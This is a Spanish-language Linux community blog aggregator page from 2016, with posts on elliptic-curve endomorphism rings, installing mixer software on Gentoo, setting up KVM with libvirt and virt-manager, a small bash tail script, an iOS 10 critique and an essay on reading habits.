Si implementan la regla de adición como en wikipedia, donde las divisiones que vean en las funciones que definen la suma de dos puntos las interpretan como "calcular el inverso multiplicativo" (lo cual se hace con el algoritmo de euclides extendido), una consecuencia del teorema fundamental del álgebra les dirán que las "lineas entre dos puntos" en aritmética modular también funcionan, esto es de manera informal pero sólo quiero meter la idea, en posts anteriores formalizo esto.



Grupos de homomorfismos en grupos abelianos (curvas elípticas en este caso)

Recordemos que un homomorfismo entre dos grupos (o dos curvas) $latex G_1$ y $latex G_2$ es un mapeo que respeta la estructura de grupo en cada uno. Es decir si $latex \langle G_1,+\rangle$ y $latex \langle G_2,\oplus\rangle$ son sus respectivas operaciones. tenemos que $latex \alpha \in Hom(G_1,G_2)$ es un homomorfismo entre $latex G_1$ y $latex G_2$ , es decir  $latex \alpha:G_1\rightarrow G_2$ si para $latex P,Q\in G_1$

$latex \alpha(P+Q)=\alpha(P)\oplus \alpha(Q)$

También tenemos que $latex \alpha$ también manda infinitos de un grupo a infinitos del otro.

 $latex \alpha(\infty_{G_1})=\infty_{G_2}$.


Algo muy interesante es que el conjunto de todos los homomorfismos, es decir $latex Hom(G_1,G_2)$ forma un grupo abeliano, es decir, puedes sumar los homomorfismos, noten que ya no estamos hablando de los puntos de la curva solamente o de elementos de grupos en general, es decir si $latex \alpha,\beta\in Hom(G_1,G_2)$ definimos bajo la operación nueva de homomorfismos $latex \boxplus$ una nueva función $latex \alpha\boxplus \beta\in Hom(G_1,G_2)$ :

$latex (\alpha\boxplus\beta):G_1\rightarrow G_2$
$latex P\mapsto \alpha(P)\oplus \beta(P)$

Es fácil demostrar que $latex \alpha\boxplus \beta$ también respeta estructura de grupo en $latex G_2$ (es decir que es un homomorfismo) , y pues tenemos que la identidad es el morfismo $latex [0]\in Hom(G_1,G_2)$ que manda todo al 0 del grupo $latex G_2$.
También para que $latex Hom(G_1,G_2)$ sea grupo bajo la operación $latex \boxplus$, necesitamos un inverso, es decir, si $latex \alpha\in Hom(G_1,G_2)$ existe un $latex -\alpha \in Hom(G_1,G_2)$ y de hecho pueden ver que este es simplemente $latex -\alpha:G_1\rightarrow G_2$ que mapea $latex P\mapsto \alpha(-P)$ por lo que $latex \alpha\boxplus -\alpha$ está definido como $latex (x,y)\mapsto \alpha(x,y)\oplus \alpha(x,-y)$ y esto y si $latex \alpha(P)=Q\in G_2$ tenemos que es igual a $latex Q\oplus -Q=\infty_{G_2}$ , por lo que mapea al cero de $latex G_2$ y $latex (\alpha\boxplus -\alpha)(P)=\infty_{G_2}$ para todo $latex P\in G_1$ por lo que $latex \alpha\boxplus -\alpha=[0]\in Hom(G_1,G_2)$.

De manera similar se puede demostrar que $latex \boxplus$ es asociativa,  por lo que $latex Hom(G_1,G_2)$ es un grupo.

También como mencionamos hace rato, todo grupo abeliano tiene estructura de $latex \mathbb{Z}$ módulo... es decir, en este ejemplo podemos hablar de aplicar en $latex Hom(G_1,G_2)$ la operación $latex \boxplus$ varias veces a sus elementos, (en este caso homomorfismos entre los dos grupos) es decir $latex n\alpha$ simplemente será:

$latex n\alpha:G_1\mapsto G_2$
$latex P\mapsto \alpha(P)\oplus\ldots \oplus \alpha(P)=\bigoplus_{k=1}^{n} \alpha(P)$

Por lo que decimos que $latex Hom(G_1,G_2)$ tiene estructura de $latex \mathbb{Z}$ módulo.

Anillos de Endomorfismos entre grupos abelianos.

Este es un caso especial de $latex Hom(G_1,G_2)$ , ahora imaginen que $latex G_1=G_2$ por o que lo denotaremos simplemente por $latex G$ , y vamos a definir que $latex End(G):=Hom(G,G)$ pero adicionalmente para que sea un anillo tenemos que la operación multiplicación de endomorfismos $latex \alpha,\beta\in End(G)$ es  $latex \alpha\circ \beta$ , es decir la composición entre ellos como funciones, es decir $latex (\alpha\circ\beta)(P)=\alpha(\beta(P))$.

Como tenemos que $latex \alpha,\beta Hom(G,G)$ está bien definido $latex \alpha\circ \beta:G\rightarrow G$.

La identidad bajo esta multiplicación es la función identidad , es decir, la que manda un punto a sí mismo, y la denotamos como $latex [1]\in End(G)$.

Ustedes pueden verificar que la operación $latex \circ$ es distributiva con $latex \boxplus$ , es decir que si $latex \alpha,\beta,\gamma\in End(G)$ y $latex P\in G$:

$latex (((\alpha\boxplus\beta)\circ \gamma)(P)=((\alpha\circ \gamma)\boxplus (\beta\circ \gamma))(P)$

y usando que $latex \gamma$ también es in homomorfismo.

$latex (\gamma\circ(\alpha\boxplus \beta))(P)=((\gamma\circ \alpha)\boxplus (\gamma\circ\beta))(P)$

Es fácil ver que por default, en $latex End(G)$ hay una infinidad de endomorfismos, de hecho para toda $latex n\in \mathbb{Z}$ tenemos el mapeo $latex [n]\in End(G)$ el cual definimos como:

$latex [n]:G\mapsto G$
$latex P\mapsto P+\ldots +P$  (n veces)

Donde $latex +$ es la operación del grupo $latex G$

Entonces es fácil ver que de hecho, en un nivel más alto hay otro homomorfismo de anillos entre los enteros y $latex End(G)$ , es decir:

$latex \Psi:\mathbb{Z}\rightarrow End(G)$
$latex n\mapsto [n]$

Y es homomorfismo ya que es fácil verificar que $latex \Psi(n+m)=\Psi(n)\oplus \Psi(m) = [n] \boxplus [m]=[n+m]$ y respeta la estructura de anillo ya que $latex \Psi(n\cdot m)=[n]\circ[m]=[nm]$.

Con esto tenemos mucho para argumentar que $latex \mathbb{Z}$ es un subanillo de $latex End(G)$ ya que $latex End(G)$ no tiene torsión, es decir, el aplicar $latex n$ veces cualquier endomorfismo diferente de $latex [0]$ , nunca nos dará $latex [0]$ y el mapeo entre $latex \mathbb{Z}$ y $latex End(G)$ es inyectivo.

Otra cosa es que $latex [n]\circ \alpha = \alpha \circ [n]$ es decir conmuta, y ustedes lo pueden demostrar fácilmente (pero no siempre es así entre cualquiera $latex \alpha,\beta\in End(G)$, que es cuando en el siguiente post definiremos que $latex End(G)$ está equipado con multiplicación compleja.

En el caso en que se esté trabajando sobre un campo finito en el grupo de una curva elíptica $latex E$ como $latex \mathbb{F}_q$ existe otro endomorfismo muy famoso que es usado mucho en investigación en criptografía , que es el endomorfismo de Frobenius, $latex \phi\in End(E)$ que equivale a $latex (x,y)\mapsto (x^q,y^q)$ , es decir, elevar a la $latex q$ cada coordenada de un punto en la curva usando la reducción en el campo finito $latex \mathbb{F}_q$. Este homomorfismo también conmuta.

Otro remark es que en una curva elíptica $latex \alpha,\beta\in End(E)$ son suprayectivos y por consecuencia $latex \alpha\circ\beta$ también lo es, por lo que jamás será el homomorfismo $latex [0]$ , esto nos dice que bajo la multiplicación del anillo $latex End(E)$ dada por la composición, nunca obtenemos el $latex [0]\in End(E)$ por lo que no existen múltiplos de 0, y $latex End(E)$ es un dominio entero, por lo que pueden usar las reglas de cancelación usuales entre sus elementos tanto por la izquierda como por la derecha.


Espero les haya gustado, la parte 2 la haré pronto, donde extenderemos la estructura de $latex \mathbb{Z}$-módulo de $latex End(E)$ a un $latex \mathbb{Q}$-módulo a través de un tensor.

Eduardo Ruíz Duarte (beck)
twitter: @toorandom



Viernes 15 de julio de 2016

Howto: install Air XR18’s edit software on Gentoo

Well, I’ve made the best buy a GNU & Linux user can make when it comes to pro-audio. I got an Air XR18. This product is one of the best of it’s kind. The preamps, FX and software are awesome.

Yes, it works fine on GNU & Linux and Android. Here’s how to make it work on Gentoo, if you have a x86_64/multilib installation.

# enable abi_x86_32 for the required libraries
cat << EOF > /etc/portage/package.use/air-xr18
dev-libs/libpthread-stubs abi_x86_32
media-libs/alsa-lib abi_x86_32
x11-libs/libX11 abi_x86_32
x11-libs/libXau abi_x86_32
x11-libs/libXdmcp abi_x86_32
x11-libs/libXext abi_x86_32
x11-libs/libxcb abi_x86_32
x11-proto/inputproto abi_x86_32
x11-proto/kbproto abi_x86_32
x11-proto/xcb-proto abi_x86_32
x11-proto/xextproto abi_x86_32
x11-proto/xf86bigfontproto abi_x86_32
x11-proto/xproto abi_x86_32
media-libs/freetype abi_x86_32
sys-libs/zlib abi_x86_32
app-arch/bzip2 abi_x86_32
media-libs/libpng abi_x86_32
EOF

# update @world
emerge -ajuDN @world

# run the software
# ...

It works fine and it looks really cool! I really recommend you consider the Air XR18 if you’re into those things.

I dunno who is pushing GNU & Linux compatibility down there at the Music Group, but it’s the right thing to do! Kudos to them!

Miércoles 13 de julio de 2016

Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

Como Instalar La Nueva Version de Skype for Linux

Microsoft se ha puesto guapo con la comunidad Linux y ha lanzado una nueva versión de Skype for Linux que busca llevar de nuevo las funcionalidades que andan faltas a la comunida Linuxera y hay disponible una nueva versión de … Continue reading

Viernes 08 de julio de 2016

Instalar Qemu/KVM, libvirt y virt-manager en Ubuntu/Debian aka Virtualizacion

Ocupaba correr unas maquinas virtuales para levantar un laboratorio en la laptop de la oficina que tiene ubuntu 14.04, lo primero y mas fácil que pensé fue instalar VMware Workstation y utilizar la licencia que se tiene en la empresa, pero al no necesitar desplegar algún OVA o algo especifico que me obligue a utilizar VMware Workstation pues quize experimentar, otra opción puede ser utilizar VirtualBox pero nunca me ha gustado, al final decidí utilizar el camino libre ;).

Introducción

Libvirt Logo

libvirt es una API de código abierto, es una herramienta para la administración de maquinas virtuales, soporta los siguientes hypervisores KVM/Qemu, Xen, LXC, OpenVZ, VirtualBox, Hyper-V, y de VMware soporta ESX y Workstation.

libvirt support

KVM logo

KVM (Kernel based Virtual Machine) es un modulo del kernel que permite utilizar las extensiones de virtualización de los procesadores que en casi todos los procesadores actuales ya sea Intel (vmx) o AMD (svm) esta soportado tanto para arquitectura x86 como x86_64.

KVM
virt-manager es una aplicacion de escritorio para administrar maquinas virtuales por medio de libvirt, su principal foco es para maquinas virtuales en KVM, pero también soporta Xen y LXC, su interfaz permite ver un resumen de las maquinas y una vista rápida de los recursos utilizados, tiene un asistente (wizard) para crear Maquinas Virtuales, tiene un cliente VNC y SPICE para tener acceso a la consola gráfica de las maquinas virtuales.

virt-manager-vm-list

Primeros Pasos

Lo primero que hay que realizar es verificar que nuestro procesador soporte las extensiones de virtualización, si la maquina donde vamos a probar tiene un procesador fabricado aproximadamente después del 2006 no deberíamos tener problema, siempre y cuando no sean de la gama baja, Intel Atom, Intel Celeron.

grep --color -e svm -e vmx /proc/cpuinfo

 Instalación

Los primeros pasos siempre en cualquier distribución debería ser actualizar.

sudo apt-get update
sudo apt-get dist-upgrade

Instalación de los paquetes necesarios

sudo apt-get install qemu-kvm libvirt-bin virtinst kvm virt-manager virt-viewer

Darle permisos a nuestro usuario en Debian

sudo adduser tyo100 kvm
sudo adduser tyo100 libvirt

Lo mismo para Ubuntu

sudo adduser tyo100 kvm
libvirtd

Con esto tendremos la primer parte lista para virtualizar, binarios y configuración

Configuración de Red

Para mi es suficiente con la red que viene por defecto, una red tipo NAT, por lo que no entrare en mas detalles, para workstation es suficiente en modo servidor puedes utilizar modo bridge para conectar a la red física y dar soporte para vlan.

Almacenamiento

Para guardar las imágenes, discos o volumes, de las maquinas virtuales podemos utilizar distintos tipos de pools, los mas comunes suelen ser:

  • Directory (es la que vamos a utilizar, guarda los archivos en el directorio que especifiques)
  • Local Filesystem (similar al anterior, pero este es dueño del FS y lo monta donde se especifique)
  • Network filesystem (este guarda las imágenes remotamente, por lo general un NFS)
  • Logical (genera Logical Volumes para las maquinas en base a un Volume Group asignado)
  • Disk (utiliza un disco completo y va creando particiones en el disco para ir generando los volumes)

Agregamos nuestro primer storage-pool con virt-manager, abrimos virt-manager, damos doble click en nuestra maquina local (QEMU/KVM).

kvm-virt-manager1

Nos muestra el resumen, nos vamos a la pestaña de almacenamiento y después damos click en ‘+’

kvm-virt-manager2

Luego nos saldrá el asistente para agregar el storage-pool, seleccionamos dir y le asignamos un nombre en este caso HighIO y damos click en siguiente

kvm-virt-manager4

Le damos una ruta donde se van a guardar las imagenes en este caso estoy utilizando /VirtualMachines/HighIO/disks que es un LV con cache en ssd, damos en finalizar y con esto tendremos el storage-pool listo para ser utilizado

kvm-virt-manager5

Para hacerlo desde la linea de comandos se utliza virsh, el objetivo seria agregar /VirtualMachinesLowIO/images/ como storage-pool con nombre LowIO.

Definimos el storage-pool

mtello@workstation:~$ virsh pool-define-as LowIO dir - - - - "/VirtualMachinesLowIO/images/"
Se ha definido el grupo LowIO

Listamos los storage-pool

mtello@workstation:~$ virsh pool-list --all
Nombre Estado Inicio automático
-------------------------------------------
default activo si
HighIO activo si
LowIO inactivo no

Ahí nos muestra nuestro nuevo storage-pool LowIO pero lo muestra inactivo y la opcion de inicio automatico desactivado, para activarlo hay que realizar lo siguiente

mtello@workstation:~$ virsh pool-start LowIO
Se ha iniciado el grupo LowIO

Ahora para marcarlo para que lo active automáticamente al iniciar la maquine, hay que escribir

mtello@workstation:~$ virsh pool-autostart LowIO
El grupo LowIO ha sido marcado como iniciable automáticamente

Listamos nuevamente y ya logramos el objetivo, agregamos el storage-pool LowIO, lo activamos y lo marcamos como inicio automatico

mtello@workstation:~$ virsh pool-list 
Nombre Estado Inicio automático
-------------------------------------------
default activo si
HighIO activo si
LowIO activo si

Parecen ser mas pasos desde la linea de comando

Creación de una maquina con virt-manager

Y toda la guía inicio para crear maquinas virtuales, como estoy estudiando algunas cosas de Red Hat por lo que mi primer maquina en crear es una de CentOS,

Iniciamos… abrimos nuevamente el virt-manager y damos click en crear nueva maquina virtual

kvm-virt-new_vm1

Seleccionamos desde donde vamos a instalar, en mi caso tengo el ISO

kvm-virt-new_vm2

Seleccionamos Utilizar imagen ISO y ponemos la ruta del ISO

kvm-virt-new_vm3

Seleccionamos cantidad de RAM y número de CPUs para asignar

kvm-virt-new_vm4

Como no tengo ningún volumen creado, hay que crearlo desde el asistente, primer damos click en seleccionar o crear almacenamiento, después dar click en Administrar

kvm-virt-new_vm5

Primero seleccionamos el storage-pool y después damos click en ‘+’ para crear un nuevo volumen

kvm-virt-new_vm6

Definimos el nombre del volumen y la capacidad después damos click en finalizar

kvm-virt-new_vm7

Seleccionamos el volumen que creamos y damos click en elegir volumen

kvm-virt-new_vm8

Nos regresa al anterior asistente, damos click en adelante

kvm-virt-new_vm9

Nos muestra un resumen de lo que se va realizar y elegimos el nombre de la maquina, esto lanzara la consola de la maquina

kvm-virt-new_vm10

Si todo lo hemos hecho bien,  debemos de ver la maquina corriendo, iniciando del ISO que hayamos seleccionado

kvm-virt-new_vm11

 

Con esto hemos terminado

 

Lunes 04 de julio de 2016

Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

Tres Semanas con Linux Mint 18 lo bueno, lo malo y lo feo

La versión Beta de Linux Mint 18 salió el 9 de Junio de 2016, después de descargarlo, hacer respaldo de mi laptop principal tengo casi tres semanas de usarlo en Producción, es decir en la vida real, con el trabajo … Continue reading
Gunnar Wolf

Gunnar Wolf
Gunnar Wolf

Got the C.H.I.P.s for DebConf!

I had my strong doubts as to whether the shipment would be allowed through customs, and was happily surprised by a smiling Graham today before noon. He handed me a smallish box that arrived to his office, containing...

Our fifty C.H.I.P. computers, those I offered to give away at DebConf!

The little machines are quite neat. They are beautiful little devices, including even a plastic back (so you can safely work with it over a conductive surface or things like that). Quite smaller than the usual Raspberry-like format. It has more than enough GPIO to make several of my friends around here drool about the possibilities.

So, what's to this machine besides a nice small ARM CPU, 512MB RAM, wireless connectivity (Wifi and bluetooth)? Although I have not yet looked into them (but intend to do so very soon!), it promises to have the freest available hardware around, and is meant for high hackability!

And not that it matters — But we managed to import them all, legally and completely hassle-free, into South Africa!

That's right — We are all used to the declaring commercial value as one dollar mindset. But... The C.H.I.P.s are actually priced at US$9 a piece. The declared commercial value is US$450. South Africans said all their customs are very hard to clear — But we were able receive 50 legally shipped computers, declared at their commercial value, without any hassles!

(yes, we might have been extremely lucky as well)

Anyway, stay tuned — By Thursday I will announce the list of people that get to take one home. I still have some left, so feel free to mail me at gwolf+chip@gwolf.org.

Sábado 02 de julio de 2016

Gerónimo Orozco

Gerónimo Orozco
Patux's booring news

Celebremos 6 años de OpenStack

Registrate




OpenStack cumple 6 años de su lanzamiento. Es tiempo de celebrar!!!

Gracias al patrocinio de la OpenStack Foundation tendremos una gran fiesta :-)

Habra Pastel, Playeras conmemorativas, Stickers, Cerveza, Pizza.

Rifaremos un examen de certificación de OpenStack gracias al patrocinio de la OpenStack Foundation con valor de 300 USD.

http://www.openstack.org/coa


Ademas habra mas información sobre el proximo Cloud Application Hackathon de OpenStack a realizarse del 9 al 11 de Septiembre en Guadalajara en las instalaciones del Tec. de Monterrey. http://hackathon.openstackgdl.org

Los esperamos!

Viernes 01 de julio de 2016

LogicalBricks Solutions: Rails 5

Jueves 30 de junio de 2016

Héctor Daniel Cortés

Héctor Daniel Cortés
'Aztec Eagle' Turbo

Fedora 24 en FitPC 1

¡Al fin!
Fedora 24 corriendo (en realidad, caminando) en la FitPC. Nada mal para un equipo de más de diez años.

Miércoles 22 de junio de 2016

Octavio Alvarez

Octavio Alvarez
Planeta Linux –

alwayslast.bash

Este script permite poner en un archivo las últimas N líneas de una salida. Por ejemplo, ping [...] | alwayslast.bash FILE 10 permitiría que FILE tuviera las últimas 10 líneas de la salida de ping.

This script allows for a file to have the las N lines of an output. For example, ping [...] | alwayslast.bash FILE 10 would make FILE always have the last 10 lines from the output of ping.

#!/bin/bash

if [ "$#" -ne 2 ]; then
 echo "Usage: $0 output_file maxlines"
 exit 2
fi

FILE="$1"
MAXLINES="$2"

START=0
LINES=1

while IFS= read -r NEWLINE; do
 BUFFER[START]="$NEWLINE"

 TEMPFILE=$(mktemp)
 trap -- 'rm "$TEMPFILE"' EXIT INT TERM

 for INDEX in $(seq "$((START+1))" "$((LINES-1))") $(seq 0 "$START"); do
 printf '%s\n' "${BUFFER[$INDEX]}"
 done > "$TEMPFILE"

 chmod --reference="$FILE" "$TEMPFILE"
 mv "$TEMPFILE" "$FILE"
 trap -- EXIT INT TERM

 LINES="$((LINES+1))"
 if [ "$LINES" -gt "$MAXLINES" ]; then
 LINES="$MAXLINES"
 fi
 START="$(((START + 1) % MAXLINES))"
done

Gracias a Eduardo Bustamante por sus correcciones.

Miércoles 15 de junio de 2016

José Roberto Briones Argüelles

José Roberto Briones Argüelles
GigaBriones

Lo que Apple nos quedó debiendo con iOS 10

¡Otro año, otra WWDC!

Después de tanta espera (¡por fin!) Apple presentó iOS 10, de igual forma la nueva versión de OS X MacOS que bautizaron como Sierra, y WatchOS 3. Pero… ¿se cumplieron las expectativas?

Primero que nada, veamos que hay de nuevo en iOS 10.

iOS 10

  • Notificaciones renovadas
  • Siri abierto a los desarrolladores (que no es poca cosa)
  • Desaparece en “Deslizar para desbloquear” de siempre.
  • Un teclado más inteligente, que ahora sugiere no solo palabras, sino contactos, o ubicaciones.
  • Nueva función “Raise to Wake” que es una bonita frase para decir que ahora al levantar el teléfono sin presionar nada se mostrarán tus notificaciones, esto con el fin de evitar que por error no las veas al ser TouchID tan rápido en reconocer tu huella.
  • Nueva App llamada “Home” que permite acceder a todos los dispositivos compatibles con Homekit (focos, persianas, cámaras) para hacer tu hogar más inteligente.
  • iMessage potenciado, parece ser que en Apple quieren apostar fuerte por la mensajería ya que agregaron muchas cosas nuevas a los mensajes, ahora puedes usar stickers, los emojis se ven 3 veces más grandes, puedes enviar mensajes y fotos ocultas (que para mostrarlas hay que pasar el dedo encima), agregar efectos a las burbujas de texto, y más.
  • Fotos más organizadas, ahora las fotos se podrán agrupar en eventos, y memorias automáticamente, así como reconocer rostros, y buscar por diferentes consultas como donde aparezcan determinadas personas, o aquellas tomadas en la playa, etc…
  • Mapas, Música y Noticias renovados, estos servicios recibieron un fuerte lavado de cara para ser más utilizados y evitar confusión entre las diferentes secciones que manejan.
  • Es posible borrar Apps nativas de iOS (¡Aleluya!), podrás por fin deshacerte de Apps como Contactos, iBooks, Bolsa, etc… que no usabas y que solo ocupaban espacio en el dispositivo (y visualmente) sin preocuparte, ya que podrás descargarlas de nuevo de la AppStore cuando las necesites.
  • Y muchos detalles más…

Si te perdiste la presentación aquí hay un muy buen resumen (en inglés) que muestra en tan solo 7 minutos todas las novedades que Apple presentó:

Muchas de las cosas que agregaron definitivamente le hacían falta a iOS, por ejemplo el abrir Siri para desarrolladores es algo que se venía pidiendo desde que Siri salió, ¿de qué servía Siri si solo se podía usar para Aplicaciones nativas que normalmente no usamos? Ahora podrás decirle a Siri que envíe un mensaje por WhatsApp a tu mamá o que envíe un correo a través de Outlook.

Pero ¿fue suficiente? Hay cosas que Apple sigue sin darles prioridad y que al parecer de muchos son indispensables, la más clara es la interfaz principal de los iconos de las Apps, ¿en serio no se dan cuenta que el tamaño de los iconos es el mismo tanto en un iPhone de 4 pulgadas, como en un iPhone de 5.5 pulgadas y un iPad Pro de 10 pulgadas? No es posible que al usar un iPad se siga teniendo la impresión de tener un iPhone grandote, donde la mayoría de las Apps son solo versiones alargadas de sus versiones de iPhone. Tampoco suena lógico que no exista un manejo de sesiones en iOS, ¿cuantas veces no has tenido que prestar tu dispositivo a una persona pero no quieres que tengan acceso a tus fotos, correo, o aplicaciones? ¿No sería genial si existiera una opción de “Invitado” para prestarle el dispositivo a alguien con solo las aplicaciones básicas y sin acceso a tu información personal? La Mac lo tiene, ¿por qué iOS no?

El centro de control (el menú que aparece cuando deslizas hacía arriba la parte inferior de la pantalla) cambió de look pero sigue faltando que puedas personalizar los botones que presenta ¿qué tal que yo no quiero tener ahí la calculadora de iOS sino otra App de terceros?

También se echa en falta una opción de auto organizar las Apps instaladas, muchos de nosotros tenemos más de 100 Apps instaladas, un verdadero problema de organización para encontrar la que buscas (sin usar el buscador, claro), cada App está clasificada en una categoría específica en la AppStore ¿y si usaran esa categoría para automáticamente crear una carpeta donde meter las aplicaciones?

Picture in Picture en iPhone 6/S Plus, tenemos una pantalla generosamente más amplia en dispositivos “Plus” y sin embargo gozamos de exactamente la misma experiencia que si tuviéramos la versión normal, “Picture in picture” es la funcionalidad de ver un vídeo en un recuadro de la pantalla mientras seguimos ocupando nuestro dispositivo de manera normal, esta función existe en el iPad, ¿por qué no en el iPhone con una pantalla más grande?

De la misma forma en el iPhone 6/S Plus no contamos con la posibilidad de usar dos aplicaciones al mismo tiempo en pantalla dividida, la versión Plus tiene la pantalla lo suficiente grande para (al menos en horizontal) poder ver dos aplicaciones al mismo tiempo, característica que hasta ahora solo los usuarios de iPad Pro pueden disfrutar.

Apple Pay en México (y otros países), esto como tal no es un tema de iOS sino del propio Apple al no vernos como un mercado importante para la implementación de este sistema de pagos, pero no es posible que después de 2 años de contar con dispositivos compatibles con Apple Pay sea prácticamente una característica que seguimos sin poder utilizar.

Al final Apple me deja con un sabor agridulce en esta presentación, sí hay cosas interesantes, y detalles que seguirán surgiendo a lo largo de que las versiones Beta se vayan liberando, pero esta era la versión 10 de su sistema operativo, un número significativo e importante, tuvo que verse un rediseño más a fondo de su interfaz gráfica y de las opciones que hace años esperamos muchos usuarios, las últimas actualizaciones (iOS 8, iOS 9 y ahora iOS 10) son de esas que no verás mucha diferencia hasta que los desarrolladores aprovechen las nuevas características del sistema, pero visualmente sigue siendo un poco más de lo mismo…

¿Y a ti qué te pareció iOS 10? ¿Sientes que le faltó algo o fue lo que esperabas? Cuéntanos en los comentarios.

Jueves 09 de junio de 2016

Gustavo Rubio

Gustavo Rubio
Ahí vamos

La época dórada del “vistazo” (o de como leer está sobrevalorado)

Ya desde hace años me había prometido no meterme en lo que no me importa, por salud mental y tranquilidad. Esto obviamente incluía una muy entretenida (para mi) pero molesta actividad que era corregir a otros o dar mi punto de vista donde no necesariamente era requerido, o solicitado. Una de esas actividades era hacer correcciones de información en redes sociales, por ejemplo, de información falsa, hoaxes, notas amarillistas, etc. Supongo que en algún punto maduré y entendí que, bueno, no puede uno solo cambiar al mundo entero y preferí no meterme en lo ajeno, si alguien quiere mantenerse desinformado pero sobretodo, fomentar la desinformación, bueno, ese sería un problema propiamente individual y no mio. Sin embargo, al parecer, mi racha de estar “limpio” de este vicio que era corregir y comentar llegó a su fin la semana pasada, aunque la causa fue muy diferente a situaciones anteriores y los (inesperados por cierto) resultados bastante interesantes.

Como dije anteriormente, ya me había hecho a la idea de que corregir a los demás por redes sociales o incluso en las mismas conversaciones personales era una actividad desgastante emocionalmente para mi pero sobre todo inútil porque, bueno, al final del día, las personas son libres de hacer lo que se les de la gana hacer y bueno, eso está bien, de hecho creo que es lo justo ¿No?, es decir, cada quien puede, y debería hacer, decir y pensar lo que crea apropiado. Entonces, si partimos de esa premisa, mi labor de “Information NAZI” pues era inútil y vergonzosa. Un ejemplo simple de una situación así era alguna noticia falsa compartida por algún familiar o amigo en facebook, aparentes muertes de personas en twitter sin haber confirmado la fuente, etc.

Hasta hacía unas semanas me había mantenido al margen porque, bueno, finalmente entendí que las redes sociales no son medios fiables de información pero primordialmente que, dada la exposición de las mismas a cada vez más personas, la información se ha vuelto poco fiable y el contenido basura. Precisamente tenía hace unos días una micro-discusión sobre eso con @isopixel y @el_morris:

 

Que twitter ya no se siente igual, que si facebook se ha vuelto una pérdida de tiempo, que snapchat no es para mi. Bueno, para ser honesto aun sigo usando muchas redes sociales, de otros temas e intereses, así que sería hipócrita de mi parte decir que son una perdida de tiempo, simplemente he refinado mi uso de las mismas o simplemente invierto tiempo en lo que creo es útil y entretenido para mi… enter the LinkedIn world!.

LinkedIn para mi es una red social importante. Se trata de trabajo, profesionistas conectados y finalmente oportunidades de mejorar nuestra carrera, supondría que entonces la mayoría de las personas en dicha red social la tomen mas o menos con la misma seriedad. Sin embargo, recientemente, y en repetidas ocasiones, he visto como publicaciones que son ajenas a la naturaleza de esta red son compartidas por algunos de mis contactos: frases célebres que no existen, imágenes falsas motivacionales y quizes o “acertijos” que supongo dan la impresión a quienes los comparten que de alguna manera solucionarlos denota un mayor grado de inteligencia y capacidad laboral. Si bien me había prometido no volver a involucrarme en desmentir, corregir o participar en ese tipo de publicaciones en redes sociales, el hecho de verlas en una red como LinkedIn me arrastró de nuevo. Lo que ven a continuación es una imágen tomada de una de estas publicaciones que re-publiqué y comenté:

Screenshot from 2016-06-08 21-17-56

La imagen la acompañé del siguiente texto que traduzco al español:

Estimados contactos:

A pesar de que yo también disfruto resolver acertijos, me parece que este tipo de contenido no pertenece a esta red social la cual se supone es una red de profesionistas y de trabajo. Resolver este tipo de acertijos en publicaciones no mejora tu curriculum y finalmente solo muestra que, de hecho, tienes mucho tiempo libre.

Y si bien mi objetivo inicialmente era crear conciencia en mis contactos para, de alguna manera explicarles que, compartir este tipo de contenido en esta red social los hace ver poco profesionales, me “salió el tiro por la culata“.

¿Cual fue la sorpresa? Bueno, si hubo reacciones, pero exactamente lo opuesto a lo que esperaba; personas comentando la publicación… respondiendo el acertijo!:

 

Screenshot from 2016-06-08 21-23-34

Pero, contrario a molestarme (porque sería muy inmaduro dejar que este tipo de cosas nos molesten ¿Cierto?) por el trolleo involuntario esto me dejó pensando varios días por qué alguien habría respondido la publicación precisamente con la respuesta al acertijo porque, honestamente, los hace ver como tontos. Luego recordé que nadie lee las instrucciones, fui atando cabos y llegué a las siguientes conclusiones…

A las personas no nos gusta leer

Y no necesariamente hablo de leer libros que ya es mucho, hablo de leer simples instrucciones, textos de apoyo, descripciones o hasta las etiquetas de cuidado de los productos. Muchas personas culpan al Internet y a la tecnología de esto pero la verdad es que desde antes que hubiera Internet ya eramos holgazanes para leer instrucciones. El mexicano, particularmente, tiene esa fama. Por ejemplo, cuando compramos algún electrodoméstico o aparato electrónico simplemente lo conectamos sin antes haber leído las instrucciones. Definitivamente la propagación de tecnología ha fomentado esto, más no es la causa, es decir, si tenemos imágenes disponibles acompañadas de un texto ¿Para que leer? Nuestra mente, por naturaleza, tratará siempre de identificar situaciones o contextos por medio de imágenes que representan algo, sea una silueta, forma, isotipo, etc. Es esa misma razón por la cual los anuncios de tráfico son representaciones gráficas de objetos de la vida real; a la mente le cuesta procesar algo que no es nativo a los sentidos como el texto, el cual tiene que desmenuzar y traducir a algo que entiendan nuestros sentidos, una imagen es mas digerible al parecer.

Estamos sobresaturados de información

¿Cómo culpar a alguien de esto? En realidad me siento identificado. Volvemos al tema de las redes sociales. He dejado de utilizarlas en buena medida porque me parece que me “saturan” de información inútil, la mayoría de las veces. Me encanta leer, es solo que ahora debo escoger que leer, y continuar leyendo publicaciones de poco aporte en redes sociales o blogs de mala calidad (esos que hacen click-bait) simplemente consume energía útil de mi cabeza para otro tipo de contenido que si lo vale. Por ejemplo, con tantas aplicaciones en nuestros teléfonos, tantos sitios web que visitar, redes sociales, mensajería instantánea, etc. la mente se vuelve “holgazana”  de manera que si antes consumíamos 3 o 4 artículos por día, nos “texteabamos” un poco y revisábamos nuestro correo, ahora simplemente perdemos la cuenta de toda la cantidad de información que hay que masticarse diariamente. La mayoría de las personas que he observado por ejemplo, están en facebook, pinterest o twitter dando “scroll” como zombies, pensando que eventualmente encontrarán algo útil o siquiera divertido pero para cuando eso pudiera pasar ya estamos cansados y en un ciclo vicioso de “ojear“. Algo similar a lo que pasaba antes de que tuvieramos smartphones e Internet; llegaba uno a una cita a algún lugar, había 300 revistas de n cantidad de temas en la sala de estar y uno las ojeaba casi por inercia, esperando la siguiente actividad, sin interés realmente de absorber lo que había en esas páginas de TV notas o Cosmopolitan.

La mente funciona mejor con alertas obvias

